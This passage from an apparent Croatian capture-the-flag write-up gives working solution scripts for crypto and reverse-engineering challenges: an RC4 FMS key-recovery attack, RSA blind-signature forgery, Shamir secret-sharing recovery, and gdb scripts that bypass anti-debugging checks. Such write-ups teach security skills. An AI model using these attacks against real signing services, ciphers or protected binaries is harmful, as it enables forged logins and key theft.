print(f"[*] Target Hash: {oracle.target_hash}") print("\n" + "="*40) print(" PHASE 1: MAPPING DEPENDENCY GRAPH") print("="*40) payloads = ["CTF2026[000000000000]"] for i in range(12): guess = list("000000000000") guess[i] = "1" payloads.append(f"CTF2026[{''.join(guess)}]") results = oracle.get_hashes(payloads) base_hash = results[0] hashes = results[1:] rev_deps = {i: [] for i in range(32)} input_to_outputs = {i: [] for i in range(12)} for input_idx in range(12): h = hashes[input_idx] for out_idx in range(32): if h[out_idx] != base_hash[out_idx]: rev_deps[out_idx].append(input_idx) input_to_outputs[input_idx].append(out_idx) print("\n[+] Mapping Complete. Displaying Graph:\n") for i in range(12): print(f" Input Position {i:2d} -> Affects Output Indices: {input_to_outputs[i]}") print("\n[+] Displaying Output Anchors (Outputs affected by minimal inputs):") for out_idx in range(32): if len(rev_deps[out_idx]) > 0: print(f" Output Index {out_idx:2d} depends on Inputs: {rev_deps[out_idx]}") print("\n" + "="*40) print(" PHASE 2: CASCADING SOLVER") print(f" FIND_ALL_COLLISIONS = {FIND_ALL_COLLISIONS}") print("="*40) found_solutions = [] def solve(known_digits, depth=0): if all(d is not None for d in known_digits): payload = f"CTF2026[{''.join(known_digits)}]" h = oracle.get_hashes([payload]) if not h: found_solutions.append(''.join(known_digits)) return True if h[0] == oracle.target_hash: found_solutions.append(''.join(known_digits)) return True return False indent = " " * depth anchors = [] # Format: (out_idx, unk_pos) for out_idx in range(32): deps = rev_deps[out_idx] unknowns = [pos for pos in deps if known_digits[pos] is None] if len(unknowns) == 1: unk_pos = unknowns[0] # Ensure we only target each unknown position once per batch if not any(a[1] == unk_pos for a in anchors): anchors.append((out_idx, unk_pos)) if anchors: anchors = anchors[:10] print(f"{indent}[*] PARALLEL ANCHORS FOUND: Gathering guesses for Inputs: {[a[1] for a in anchors]}") payloads = [] for (out_idx, unk_pos) in anchors: for guess in range(10): test_state = list(known_digits) test_state[unk_pos] = str(guess) test_state = [d if d is not None else "0" for d in test_state] payloads.append(f"CTF2026[{''.join(test_state)}]") results = oracle.get_hashes(payloads) if not results: return False new_known = list(known_digits) success = True idx = 0 for (out_idx, unk_pos) in anchors: found_match = False for guess in range(10): if idx < len(results) and results[idx][out_idx] == oracle.target_hash[out_idx]: print(f"{indent} -> [Match] Input {unk_pos} = {guess} aligns Output {out_idx}!") new_known[unk_pos] = str(guess) found_match = True idx += 1 if not found_match: print(f"{indent}[X] Conflict at Input {unk_pos}. Backtracking...") success = False break if success: return solve(new_known, depth + 1) return False else: min_unknowns = 99 best_out_idx = -1 best_unks = [] for out_idx in range(32): deps = rev_deps[out_idx] unknowns = [pos for pos in deps if known_digits[pos] is None] if 0 < len(unknowns) < min_unknowns: min_unknowns = len(unknowns) best_out_idx = out_idx best_unks = unknowns if min_unknowns == 2: u1, u2 = best_unks print(f"{indent}[!] NO ANCHOR: Output {best_out_idx} affected by Inputs {u1}, {u2}. Batching 100 cross-guesses...") payloads = [] guesses = [] for g1 in range(10): for g2 in range(10): test_state = list(known_digits) test_state[u1] = str(g1) test_state[u2] = str(g2) test_state = [d if d is not None else "0" for d in test_state] payloads.append(f"CTF2026[{''.join(test_state)}]") guesses.append((g1, g2)) results = oracle.get_hashes(payloads) if not results: return False branch_success = False for i, (g1, g2) in enumerate(guesses): if i < len(results) and results[i][best_out_idx] == oracle.target_hash[best_out_idx]: print(f"{indent} -> [Branch Match] Inputs ({u1}={g1}, {u2}={g2}) align Output {best_out_idx}! Branching...") new_known = list(known_digits) new_known[u1] = str(g1) new_known[u2] = str(g2) if solve(new_known, depth + 1): branch_success = True if not FIND_ALL_COLLISIONS: return True return branch_success else: # Fallback for 3+ dependencies u1 = best_unks[0] print(f"{indent}[!] NO ANCHOR: Output {best_out_idx} heavily dependent. Blind branching Input {u1}...") payloads = [] for guess in range(10): test_state = list(known_digits) test_state[u1] = str(guess) test_state = [d if d is not None else "0" for d in test_state] payloads.append(f"CTF2026[{''.join(test_state)}]") results = oracle.get_hashes(payloads) if not results: return False branch_success = False for guess in range(10): print(f"{indent} -> [Blind Branch] Guessing Input {u1} = {guess}...") new_known = list(known_digits) new_known[u1] = str(guess) if solve(new_known, depth + 1): branch_success = True if not FIND_ALL_COLLISIONS: return True return branch_success solve([None] * 12) print("\n" + "="*40) print(f" SOLVE COMPLETE. TOTAL NETWORK REQUESTS: {oracle.total_network_requests}") if found_solutions: print(f" Found {len(found_solutions)} valid 12-digit collision(s):") for sol in found_solutions: print(f" CTF2026[{sol}]") else: print(" No solutions found.") print("="*40) ====RC4 Encrpyt==== Pronađena je usluga za RC4 enkripciju. Možeš li saznati tajni ključ? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16007 ===Kontekst zadatka=== {{ hacknite2026: rc4_encrypt.gif?nolink&500 | RC4 Encrypt }} Izvorni kod: #!/usr/bin/python3 from secret import flag #12 znamenki import sys, os, time i1 = 0 j1 = 0 def KSA(key): S = [i for i in range(256)] j = 0 for i in range(256): j = (j + S[i] + key[i % 12]) % 256 S[i], S[j] = S[j], S[i] global i1 global j1 i1 = j1 = 0 return S def get_keystream(S): global i1 global j1 i1 = (i1 + 1) % 256 j1 = (j1 + S[i1]) % 256 S[i1], S[j1] = S[j1], S[i1] t = (S[i1] + S[j1]) % 256 return S[t].to_bytes() def encrypt(poruka, S): encryption = b"" for i in range(len(poruka)): b = get_keystream(S) encryption += (poruka[i] ^ ord(b)).to_bytes() return encryption def print_encryption(encryption): print("Enkripcija: ", end = "", flush = True) for i in range(len(encryption)): for j in range(32, 48): sys.stdout.buffer.write(j.to_bytes()) sys.stdout.flush() time.sleep(0.004) print("\033[D\033[P", end = "", flush = True) sys.stdout.buffer.write(encryption[i:i+1]) sys.stdout.flush() print() try: while(True): os.system("clear") os.system("figlet -f big RC4 Encrypt") i1 = 0 ij = 0 print("\nUnesite inicijalizacijski vektor za svoj session: ", end = "", flush = True) IV = sys.stdin.buffer.readline().rstrip(b"\n") print("\033[1A\033[J", end = "", flush = True) S = KSA(IV + flag) print("Prazan unos ponovno pokreće inicijalizaciju!") while(True): print("Unesite poruku: ", end = "", flush = True) poruka = sys.stdin.buffer.readline().rstrip(b"\n") if poruka == b"": break encryption = encrypt(poruka, S) print_encryption(encryption) except Exception as e: exit(0) U skripti je implementiran RC4 algoritam za enkripciju. Program na početku pita korisnika za inicijalizacijski vektor koji se koristi kao prefiks tajnom ključu. Kombinacija inicijalizacijskog vektora i tajnog ključa se zatim koristi za inicijalizaciju niza bajtova ''keystream''. Nakon inicijalizacije, korisnik može poslati poruku koja se enkriptira operacijom XOR nad poslanim bajtom i bajtom iz niza ''keystream''. U slučaju slanja prazne poruke (samo ''\n''), program se resetira i ponovno kreće od upita za inicijalizacijski vektor. ===Ranjivost i ideja napada=== ==Ranjivost 1== RC4 je enkripcija s poznatom ranjivošću. Ako korisnik kontrolira inicijalizacijski vektor, može izvršiti FMS napad na enkripciju. Posebnim unosom u inicijalizacijski vektor, niz bajtova iz ''keystream'' će imati preferenciju vraćati bajt na određenom indeksu (pod napadačevom kontrolom) ključa. Za izvođenje napada, inicijalizacijski vektor IV mora biti u obliku: ''[A + 3, 255, N]'' gdje je ''A'' indeks ključa nad kojim se vrši bruteforce (+ 3 jer je duljina IV 3), a ''N'' bajt u rasponu 0-255 (ne uključujući ''\n'' zbog implementacije programa). Izvođenjem bruteforce napada s varijabilnim ''N'', u 255 vrtnji najviše će se pojaviti bajt na indeksu ''A+3'' unutar tajnog ključa. Što je indeks dalje od početka ključa, preferencija postaje manje precizna. Dakle, napadač vršenjem FMS napada može saznati bajtove ključa (znamenke zastavice) do određenog indeksa. Ako zatim bruteforce napadom pretpostavi ostale znamenke ključa i lokalno inicijalizira ''keystream'' te prati odgovara li njegov izlaz izlazu poslužitelja može otkriti tajni ključ. ==Rješenje 1== FMS: #!/usr/bin/python3 from pwn import * def simulate(IV, recovered, A): key = IV + recovered S = list(range(256)) j = 0 for i in range(len(key)): j = (j + S[i] + key[i]) % 256 S[i], S[j] = S[j], S[i] return S, j def FMS(A, recovered): table = [0 for _ in range(256)] payload = b"" if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") for v in range(256): if chr(v) == "\n": continue IV = (A+3).to_bytes() + b"\xff" + v.to_bytes() payload += IV + b"\n" + b"\x00\n\n" p.send(payload) for v in range(256): if chr(v) == "\n": continue p.recvuntil(b"Enkripcija: ") keystream = p.recvline()[-2:-1] print(keystream) IV = (A+3).to_bytes() + b"\xff" + v.to_bytes() S_simulated, j = simulate(IV, recovered, A) flag_byte = (int.from_bytes(keystream) - j - S_simulated[A+3]) % 256 table[flag_byte] += 1 if args.R: p.close() else: p.kill() max_found = 0 index = -1 for i,v in enumerate(table): if v > max_found: max_found = v index = i print(f"Byte: {index.to_bytes()} Times: {max_found}") return index.to_bytes() recovered = b"" for i in range(12): num = FMS(i, recovered) if ord(num) < 0x30 or ord(num) > 0x39: break recovered += num print(f"Found: {recovered}") os.system(f"./a.out {recovered.decode()}") Bruteforce ostalih znamenki: #include #include #include #include #include unsigned char buf[32]; unsigned long max_iter = 1000000000000ULL; unsigned char S[256]; unsigned long iterations = 0; time_t start_time; unsigned char key_input[13] = "000000000000"; void test_keys() { unsigned char key[12]; unsigned char test_buf[32]; for (unsigned char i0 = key_input[0]; i0 < 0x3a; i0++) { for (unsigned char i1 = key_input[1]; i1 < 0x3a; i1++) { for (unsigned char i2 = key_input[2]; i2 < 0x3a; i2++) { for (unsigned char i3 = key_input[3]; i3 < 0x3a; i3++) { for (unsigned char i4 = key_input[4]; i4 < 0x3a; i4++) { for (unsigned char i5 = key_input[5]; i5 < 0x3a; i5++) { for (unsigned char i6 = key_input[6]; i6 < 0x3a; i6++) { for (unsigned char i7 = key_input[7]; i7 < 0x3a; i7++) { for (unsigned char i8 = key_input[8]; i8 < 0x3a; i8++) { for (unsigned char i9 = key_input[9]; i9 < 0x3a; i9++) { for (unsigned char i10 = key_input[10]; i10 < 0x3a; i10++) { for (unsigned char i11 = key_input[11]; i11 < 0x3a; i11++) { key[0] = i0; key[1] = i1; key[2] = i2; key[3] = i3; key[4] = i4; key[5] = i5; key[6] = i6; key[7] = i7; key[8] = i8; key[9] = i9; key[10] = i10; key[11] = i11; for (int i = 0; i < 256; i++) S[i] = i; int j = 0; for (int i = 0; i < 256; i++) { j = (j + S[i] + key[i % 12]) & 0xFF; unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp; } unsigned int i = 0; j = 0; int found = 1; for (int x = 0; x < 32; x++) { i = (i + 1) & 0xFF; j = (j + S[i]) & 0xFF; unsigned char tmp = S[i]; S[i] = S[j]; S[j] = tmp; unsigned char t = (S[i] + S[j]) & 0xFF; if (S[t] != buf[x]) { found = 0; break; } } iterations++; if (found) { printf("\n\nKEY: %.12s\n", key); return; } }}}}}}}}}}}} } int main(int argc, char** argv) { if(argc < 2){ printf("Usage: %s \n", argv[0]); return 0; } argv[1][strcspn(argv[1], "\n")] = '\0'; if(strlen(argv[1]) > 12){ printf("Argument smije imati najviše 12 znamenki\n"); return 0; } for(int i = 0; i < strlen(argv[1]); i++){ if (argv[1][i] < 0x30 || argv[1][i] > 0x39){ printf("Key smije imati samo brojeve\n"); return 0; } key_input[i] = argv[1][i]; } int fd = open("./keystream.txt", O_RDONLY); if (fd < 0) { printf("Could not open keystream.txt\n"); return 1; } read(fd, buf, 32); close(fd); test_keys(); return 0; } Keystream.txt je datoteka koja sadrži niz bajtova iz ''keystream'' niza poslužitelja s praznim inicijalizacijskim vektorom. ==Ranjivost 2== Program sadrži grešku u implementaciji RC4 enkripcije, specifično u funkciji za inicijalizaciju ''keystream'' niza: j = (j + S[i] + key[i % 12]) % 256 S obzirom na to da je duljina ključa veća od 12, ako inicijalizacijski vektor nije prazan, ključ se može dobiti kontroliranjem duljine inicijalizacijskog vektora. Ako se pošalje IV duljine 11, 12. bajt je prva znamenka zastavice te je uključena u inicijalizaciju ''keystream'' niza. Ako se zatim bruteforce napadom pretpostavi 12. bajt (znamenka 0-9) i usporedi izlaz s originalnim, može se otkriti prva znamenka zastavice. Ostatak zastavice se otkrije slanjem kraćeg IV (od duljine 10 do 0 ovisno o broju otkrivenih znamenki) te ponovnim izvođenjem bruteforce napada na zadnji bajt ključa. ==Rješenje 2== from pwn import * if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") key = b"" for i in range(12): p.sendline(b"A" * (11-i)) p.sendline(b"\x00"*4) p.recvuntil(b"Enkripcija: ") keystream = p.recvline()[-2:-1] for j in range(10): p.sendline() p.sendline(b"A" * (11-i) + key + chr(0x30 + j).encode()) p.sendline(b"\x00"*4) p.recvuntil(b"Enkripcija: ") keystream2 = p.recvline()[-2:-1] if keystream2 == keystream: key += chr(0x30+j).encode() print(key) break p.sendline() print(f"Flag: CTF2026[{key}]") ====RSA Log In==== Kako bi se korisnik prijavio, potreban mu je ispravan potpis za njegovo korisničko ime. Probaj se prijaviti! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16004 ===Kontekst zadatka=== Izvorni kod: #!/usr/bin/python3 from Crypto.Util.number import * from secret import * import os import sys def log_in(): try: username = input("Unesi korisničko ime: ") signature = int(input("Unesi potpis korisničkog imena: ")) username2 = pow(signature, e, N) username2 = long_to_bytes(username2).decode() if username == username2: print(f"Dobrodošao {username}") if username == "Admin": print(f"{flag=}") else: print("Neispravan potpis") exit() except: exit() def register(): try: print("Unesi korisničko ime: ", flush = True) username = sys.stdin.buffer.readline().strip(b"\n") u = bytes_to_long(username) u = u % N username = long_to_bytes(u) if username == b"Admin": print("Zabranjeno") exit() username = bytes_to_long(username) signature = pow(username, d, N) print(f"Potpis = {signature}") except: exit() os.system("figlet -f big RSA Log In") print(f"\n{N=}") print(f"{e=}\n") print("Odaberi opciju:") print("1. Registracija\n2. Prijava") opcija = input("Opcija [1/2]: ") if opcija == "1": register() elif opcija == "2": log_in() Korisniku su ponuđene opcije registracije i prijave. Kako bi se registrirao, potrebno je unijeti korisničko ime, nakon čega poslužitelj vraća digitalni potpis korisničkog imena. Da bi se korisnik prijavio, potrebno je unijeti korisničko ime i ispravni digitalni potpis. ===Ranjivost i ideja napada=== Digitalni potpis ne koristi hash, zbog čega je moguć Blinding napad. Blinding napadom može se dobiti proizvoljan potpis slanjem poruke: ''(M * pow(i,e,N)) % N'' gdje je ''M'' tekst nad kojim se želi dobiti potpis. Poslužitelj potpisuje svojim privatnim ključem ''d'' i vraća: pow(M * pow(i,e),d) = M**d * i (mod N) Jednostavnim množenjem s inverzom broja ''i'' dobije se potpis za ''M''. ===Rješenje=== from pwn import * from Crypto.Util.number import * if args.R: p = remote(HOST, PORT) else: p = process("./zadatak.py") p.recvuntil(b"N=") N = int(p.recvline()[:-1]) p.recvuntil(b"e=") e = int(p.recvline()[:-1]) p.sendline(b"1") p.recvuntil("Unesi korisničko ime".encode("UTF-8")) username = bytes_to_long(b"Admin") i = 2 username_bytes = b"" while(True): u = (username * pow(i, e, N)) % N u = long_to_bytes(u) if b"\n" in u: i += 1 continue username_bytes = u break p.sendline(username_bytes) p.recvuntil(b"Potpis = ") signature = int(p.recvline()[:-1]) signature = (signature * inverse(i, N)) % N if args.R: p.close() p = remote(HOST, PORT) else: p.kill() p = process("./zadatak.py") p.sendline(b"2") p.sendline(b"Admin") p.sendline(str(signature).encode()) p.recvuntil(b"flag=") flag = p.recvline() print(flag) ====Secret Sharing==== Podijeljena je tajna poruka SSS algoritmom, međutim, podijeljeno je premalo točaka kako bi se poruka ispravno rekonstruirala. Možeš li i dalje doći do nje? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16006 ===Kontekst zadatka=== {{ hacknite2026:secret_sharing.gif | Secret Sharing }} Izvorni kod: #!/usr/bin/python3 from Crypto.Util.number import * import random, os flag = b"CTF2026[????????????]" flag = bytes_to_long(flag) os.system("figlet -f big Secret sharing") def gen_key(): key = [random.randint(1,256) for _ in range(32)] return key key = gen_key() key[0] = flag N = getPrime(256) print(f"\nN = {N}\n") try: coef = input("Odaberi svoj koeficijent [1-N]: ") key[31] = abs(int(coef)) % N except: exit() def get_y(x): y = 0 for i in range(32): y += key[i]*x**i return pow(y,1,N) print("\nTočke:") for _ in range(29): x = random.randint(1,1000) y = get_y(x) print(f"({x},{y})") Program koristi Shamir Secret Sharing (SSS) algoritam za dijeljenje tajne poruke. Na početku programa korisnika se pita za njegov proizvoljni koeficijent, nakon čega se ispiše 29 točaka koje pripadaju zadanom polinomu. ===Ranjivost i ideja napada=== Kako bi se otkrila tajna poruka za polinom stupnja 31, potrebno je znati 32 točke. S obzirom na to da se korisnika pita za njegov proizvoljni koeficijent za član stupnja 31, korisnik može unijeti 0, što snižava polinom u stupanj 30. Time se smanjuje broj potrebnih točaka za rekonstrukciju poruke na 31. Koeficijenti polinoma odabrani su na sljedeći način: def gen_key(): key = [random.randint(1,256) for _ in range(32)] return key Svaki koeficijent nalazi se u rasponu 1-255. Kako bi se zadatak riješio, potrebno je bruteforce napadom pretpostaviti koeficijente uz članove stupnja 30 i 29 i konstruirati polinom. Ako rekonstrukcijom koeficijent na indeksu 0 počinje s ''CTF2026'', odabrana su ispravna dva koeficijenta. ===Rješenje=== from sage.all import * from Crypto.Util.number import * from pwn import * found = 0 points = [] if args.R: p = remote(HOST, PORT) else: p = process(["python3","zadatak.py"]) p.recvuntil(b"N = ") N = int(p.recvline()[:-1]) p.sendline(b"0") p.recvuntil("Točke:\n".encode()) for i in range(29): point = p.recvline()[:-1] x,y = point.strip(b"()").split(b",") points.append((int(x),int(y))) if args.R: p.close() else: p.kill() PR = PolynomialRing(GF(N), "x") print("Bruteforce (do 256):") for i in range(256): print(f"{i=}") for j in range(256): try: modified_points = [] for index, p in enumerate(points): x, y = p y = (y - (i+1)*x**30 - (j+1)*x**29) % N modified_points.append((x,y)) F = PR.lagrange_polynomial(modified_points) secret = long_to_bytes(int(F[0])) if b"CTF2026" in secret: print(secret) found = 1 break except: pass if found: break if not found: print("Unlucky, probaj opet") ======Reverzno inženjerstvo====== ====Game Rev 2==== Možete li pronaći easter egg? ===Kontekst zadatka=== Dane su binarna datoteka ''battleship_core'' i python3 skripta ''gui.py''. Pokretanjem korisnik može igrati igru potapanja brodova s računalom. {{ hacknite2026:game_rev_2.gif?nolink&500 | Game Rev 2}} Skripta ''gui.py'' pokreće datoteku ''battleship_core'' koja je od pravog interesa. Pokretanjem u Ghidri dobije se kod: setvbuf(stdout,0,2,0); tVar2 = time((time_t *)0x0); srandom((uint)tVar2); init_boards(); place_ships_randomly(ai_ships,ai_ships_init); place_ships_randomly(pl_ships,pl_ships_init); puts("======================================="); puts(" BATTLESHIP - TERMINAL EDITION "); puts("======================================="); while( true ) { print_boards(); printf("\nTarget coordinates (Row Col) or \'Q\' to quit: "); lVar3 = fgets(acStack_16,10,stdin); if (lVar3 == 0) { return 0; if ((acStack_16[0] == 'Q') || (acStack_16[0] == 'q')) break; iVar1 = __isoc99_sscanf(acStack_16," %c %d",&cStack_17,&uStack_1c); if ((iVar1 == 2) || (iVar1 = __isoc99_sscanf(acStack_16," %c%d",&cStack_17,&uStack_1c), iVar1 == 2)) { iVar1 = toupper((int)cStack_17); iStack_c = cStack_17 + -0x41; if (((-1 < iStack_c) && (((iStack_c < 10 && (-1 < (int)uStack_1c)) && ((int)uStack_1c < 10)))) && (ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] == '~')) { record_player_move(iStack_c,uStack_1c); printf("\n>> You fire at %c%d... ",(ulong)(uint)(int)cStack_17,(ulong)uStack_1c); if (ai_ships[(long)iStack_c * 10 + (long)(int)uStack_1c] == 'S') { ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] = 0x48; puts(&DAT_00497102); ai_view[(long)iStack_c * 10 + (long)(int)uStack_1c] = 0x4d; puts("MISS."); ppuVar4 = __ctype_b_loc(); if (((*ppuVar4)[(long)player_turn_count + 0x30] & 0x800) != 0) { verify_integrity(); iVar1 = check_victory(ai_view); if (iVar1 != 0) { puts("\n*** YOU DEFEATED THE ENEMY FLEET! ***"); save_game_log(); return 0; ai_turn(); iVar1 = check_victory(pl_view); if (iVar1 != 0) { puts("\n*** YOUR FLEET WAS DESTROYED. AI WINS! ***"); save_game_log(); return 0; save_game_log(); return 0; ===Ranjivost i ideja napada=== Sljedeća funkcija ispisuje zastavicu ako je zadovoljen određeni uvjet: void verify_integrity(void) { long lVar1; int local_24; ulong local_20; int local_18; int local_14; long local_10; local_10 = 1; for (local_14 = 2; local_14 < 8; local_14 = local_14 + 1) { for (local_18 = 1; local_18 < 8; local_18 = local_18 + 1) { if (ai_view[(long)local_14 * 10 + (long)local_18] != '~') { lVar1 = get_prime(local_18 + local_14 * 7 + -0xf); local_10 = lVar1 * local_10; } } } if (local_10 == 0x129cf909ab3fb31) { local_20 = 0x1337beefcafebbff; for (local_24 = 0; local_24 < 100; local_24 = local_24 + 1) { local_20 = ((long)local_24 + (local_20 << 5 ^ local_20 >> 0x1b) + (ulong)(ai_view[(long)(local_24 / 10) * 10 + (long)(local_24 % 10)] != '~')) * 0x100000001b3; } printf("FLAG: CTF2026[%012llu]\n",local_20 % 1000000000000); } return; } Ključna linija je: if (local_10 == 0x129cf909ab3fb31) Varijabla ''local_10'' inicijalizira se na vrijednost jedan te se množi rezultatom funkcije ''get_prime''. Faktorizacija vrijednosti 0x129cf909ab3fb31 je: 0x129cf909ab3fb31 = 3 * 13 * 109 * 149 * 157 * 163 * 167 * 173 * 179 Drugim riječima, rezultati ''get_prime'' funkcije moraju biti jednaki navedenim faktorima. Kako bi se ''get_prime'' funkcija izvršila, mora biti zadovoljen uvjet: if (ai_view[(long)local_14 * 10 + (long)local_18] != '~') { Polje ''ai_view'' predstavlja stanje (ne)pogođenih koordinata koje je korisnik unio. Prvobitno su sve vrijednosti polja inicijalizirane na vrijednost ''~''. Ako je korisnik pogodio vrijednost se izmijeni na ''H'', a ako je promašio na vrijednost ''M''. Ovo se može potvrditi debuggingom programa nakon svakog unosa korisnika. Drugim riječima, unos u funkciju ''get_prime'' ovisi o koordinatama koje je korisnik unio. Kako bi se dobila ispravna vrijednost varijable ''local_10'' potrebno je unijeti koordinate za koje će funkcija ''get_prime'' vratiti ispravan faktor. Kako bi se saznale ispravne koordinate, dovoljno je enumerirati sve ulaze i izlaze funkcije ''get_prime'' te ovisno o izlazu odrediti koja koordinata je odgovorna za njega. Puno je načina kojima se to može postići. Rješenje koristi gdb skriptu. Najprije se postavlja breakpoint na početak funkcije ''verify_integrity'' nakon čega se izmijene svi bajtovi polja ''ai_view'' u vrijednost ''H''. Zatim se postavlja breakpoint na instrukciju nakon ''call get_prime'' kako bi se provjerila vrijednost u rax registru. Ako vrijednost odgovara nekom od potrebnih faktora ispisuje se vrijednost ''local_14'', odnosno dword ptr [rbp-0xC], te vrijednost varijable ''local_18'', odnosno dword ptr [rbp-0x10]. ===Rješenje=== python factors = [3,13,109,149,157,163,167,173,179] rows = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J'] end b *0x0000000000401b8f commands silent python ai_view = 0x4c7620 for i in range(100): gdb.execute(f"set *(char*){ai_view+i} = 'H'") end c end b *0x0000000000401bfa commands silent python prime = int(gdb.parse_and_eval("(int)$rax")) if prime in factors: row = gdb.parse_and_eval("*(int*)($rbp-0x0c)") column = gdb.parse_and_eval("*(int*)($rbp-0x10)") print(f"{rows[row]}{int(column)}") end c end r < <(echo "A0") Pokrenuti skriptu unutar gdb-a s naredbom ''source script.gdb''. ====P2P Checker==== Neobičan password checker je pronađen, navodno inspiriran torrent protokolom. Možete li saznati koji je točan password? ===Kontekst zadatka=== {{ hacknite2026:p2p_checker.gif?nolink&500 | P2P Checker}} Dane su binarna datoteka i skripta za pokretanje. Skripta za pokretanje provjerava validnost naredbenog argumenta te ga prosljeđuje datoteci: #!/bin/sh if [ "$#" -ne 1 ]; then echo "Usage: $0 " echo "Example: $0 'CTF2026[123456789012]'" exit 1 fi USER_INPUT="$1" case "$USER_INPUT" in CTF2026\[[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]\]) exec ./challenge "$USER_INPUT" ;; *) echo "[-] Invalid format!" echo "[-] Expected format: CTF2026[12-digit-number]" exit 1 ;; esac Analizom datoteke unutar Ghidre dobije se glavna funkcija: undefined8 main(int param_1,long param_2) { __pid_t _Var1; int iVar2; undefined8 uVar3; long in_FS_OFFSET; int local_a0; int local_9c; undefined8 local_98; undefined4 local_90; undefined4 local_88; undefined8 local_80; undefined8 local_78; undefined8 local_70; undefined8 local_68; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); if (param_1 == 2) { signal(0xe,clexit); alarm(10); signal(2,clexit); signal(0xf,clexit); m_q_id = msgget(-0x3f8fdd59,0x3b6); msgctl(m_q_id,0,(msqid_ds *)0x0); m_q_id = msgget(-0x3f8fdd59,0x3b6); printf("[~] Network boot"); fflush((FILE *)stdout); for (local_a0 = 0; local_a0 < 4; local_a0 = local_a0 + 1) { _Var1 = fork(); if (_Var1 == 0) { m_p_id = local_a0; iVar2 = dbgd(); if (iVar2 != 0) { d_code = ~d_code; } distdis(); torr(*(undefined8 *)(param_2 + 8)); uVar3 = 0; goto LAB_004028eb; } } local_98 = 10; local_90 = 1; local_88 = 0; local_80 = INIT_C_S; local_78 = DAT_004ae0e8; local_70 = DAT_004ae0f0; local_68 = DAT_004ae0f8; msgsnd(m_q_id,&local_98,0x78,0); for (local_9c = 0; local_9c < 4; local_9c = local_9c + 1) { wait((void *)0x0); } msgctl(m_q_id,0,(msqid_ds *)0x0); uVar3 = 0; } else { uVar3 = 1; } LAB_004028eb: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar3; } Program postavlja alarm, nakon čega poziva fork četiri puta. Funkcija ''dbgd'' čita trenutno stanje TracerPid vrijednosti procesa koja se koristi za anti-debugging provjeru. Funkcija ''distdis'' se koristi za sinkronizaciju stvorenih procesa. Unutar nje, procesi si međusobno šalju podatke funkcijama ''msgsnd'' i ''msgrcv''. Funkcija ''torr'' provjerava validnost zastavice: void torr(undefined8 param_1) { ... local_20 = *(long *)(in_FS_OFFSET + 0x28); local_238[0] = 0; local_238[1] = 0; local_238[2] = 0; local_238[3] = 0; local_128[0] = 0; local_128[1] = 0; local_128[2] = 0; local_128[3] = 0; local_128[4] = 0; local_128[5] = 0; local_128[6] = 0; local_128[7] = 0; local_128[8] = 0; local_128[9] = 0; local_128[10] = 0; local_128[0xb] = 0; local_128[0xc] = 0; local_128[0xd] = 0; local_128[0xe] = 0; local_128[0xf] = 0; local_128[0x10] = 0; local_128[0x11] = 0; local_128[0x12] = 0; local_128[0x13] = 0; local_128[0x14] = 0; local_128[0x15] = 0; local_128[0x16] = 0; local_128[0x17] = 0; local_128[0x18] = 0; local_128[0x19] = 0; local_128[0x1a] = 0; local_128[0x1b] = 0; local_128[0x1c] = 0; local_128[0x1d] = 0; local_128[0x1e] = 0; local_128[0x1f] = 0; ... syscall(); _DAT_00000009 = local_128[0]; _DAT_00000011 = local_128[1]; _DAT_00000019 = local_128[2]; _DAT_00000021 = local_128[3]; _DAT_00000029 = local_128[4]; _DAT_00000031 = local_128[5]; _DAT_00000039 = local_128[6]; _DAT_00000041 = local_128[7]; _DAT_00000049 = local_128[8]; _DAT_00000051 = local_128[9]; _DAT_00000059 = local_128[10]; _DAT_00000061 = local_128[0xb]; _DAT_00000069 = local_128[0xc]; _DAT_00000071 = local_128[0xd]; _DAT_00000079 = local_128[0xe]; _DAT_00000081 = local_128[0xf]; _DAT_00000089 = local_128[0x10]; _DAT_00000091 = local_128[0x11]; _DAT_00000099 = local_128[0x12]; _DAT_000000a1 = local_128[0x13]; _DAT_000000a9 = local_128[0x14]; _DAT_000000b1 = local_128[0x15]; _DAT_000000b9 = local_128[0x16]; _DAT_000000c1 = local_128[0x17]; _DAT_000000c9 = local_128[0x18]; _DAT_000000d1 = local_128[0x19]; _DAT_000000d9 = local_128[0x1a]; _DAT_000000e1 = local_128[0x1b]; _DAT_000000e9 = local_128[0x1c]; _DAT_000000f1 = local_128[0x1d]; _DAT_000000f9 = local_128[0x1e]; _DAT_00000101 = local_128[0x1f]; iVar2 = (*(code *)&DAT_00000009)(param_1,0x100,9,local_128[0x1e],0xffffffffffffffff,0); memset(&DAT_00000009,0,0x100); memset(local_128,0,0x100); puts("\n[!] consensus reached."); if (iVar2 == 1) { puts("[+] ACCESS GRANTED. Flag verified."); } else { puts("[-] ACCESS DENIED. Validation failed."); } if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } ===Ranjivost i ideja napada=== Program ispisuje ACCESS GRANTED ako varijabla ''iVar2'' ima vrijednost 1 u trenutku provjere. Vrijednost varijable ''iVar2'' ovisi o pozivu koda na stogu na adresi rbp-0x120, vidljivo u liniji: iVar2 = (*(code *)&DAT_00000009)(param_1,0x100,9,local_128[0x1e],0xffffffffffffffff,0); S obzirom na to da je kod dinamički generiran, potrebno je koristiti debugger te ga analizirati nakon generiranja. Kako bi to bilo moguće, preduvjet je zaobići anti-debugging provjere funkcije ''dbgd'' te povećati vrijeme alarma. Unutar ''dbgd'' funkcije: iVar1 = strncmp(local_118,"TracerPid:",10); } while (iVar1 != 0); iVar1 = atoi(acStack_10e); fclose(__stream); bVar3 = iVar1 != 0; } ... return bVar3; Vrijednost TracerPid mora biti jednaka nuli, što je pokazatelj da program nije debuggiran, odnosno vrijednost bVar3 mora biti nula. Rješenje koristi tehniku binary patching tijekom debugging sesije. Unutar gdb skripte, na početku programa se mijenjaju bajtovi programa. Na adresi poziva ''alarm'' funkcije nalaze se 